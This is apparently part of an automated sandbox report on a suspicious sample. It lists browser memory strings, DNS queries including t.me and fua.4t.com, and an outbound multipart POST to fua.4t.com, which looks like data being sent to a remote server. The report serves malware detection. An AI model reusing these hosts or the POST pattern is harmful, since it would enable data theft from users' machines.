Source: chrome.exe, 00000003.00000002.2430260993.0000134400B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000003.2356017766.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2356174959.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2356272103.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000003.2356017766.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2356174959.0000134400F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2356272103.0000134400F20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2431577687.0000134400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429833205.0000134400A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2429833205.0000134400A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcaogl equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2429833205.0000134400A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytcapH equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428016329.00001344005E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/erD equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/rval equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html1c6 equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html413 equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.htmllt equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2430260993.0000134400B94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: fua.4t.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----3w47qi589z58qimozmyuUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/131.0.0.0 Safari/537.36 OPR/116.0.0.0Host: fua.4t.comContent-Length: 255Connection: Keep-AliveCache-Control: no-cache

Source: global traffic

HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: AkamaiGHostMime-Version: 1.0Content-Type: text/htmlContent-Length: 280Expires: Wed, 26 Feb 2025 00:49:17 GMTDate: Wed, 26 Feb 2025 00:49:17 GMTConnection: closePMUSER_FORMAT_QS: X-CDN-TraceId: 0.64a41002.1740530957.139f70d3Access-Control-Allow-Headers: *Access-Control-Allow-Credentials: falseAccess-Control-Allow-Methods: GET, OPTIONS, POSTAccess-Control-Allow-Origin: *

Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2477186636.0000199C0038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000003.00000003.2354226004.0000134400AE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430463477.0000134400C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2354198534.000013440037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2350952743.000013440037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2475727288.0000199C00368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
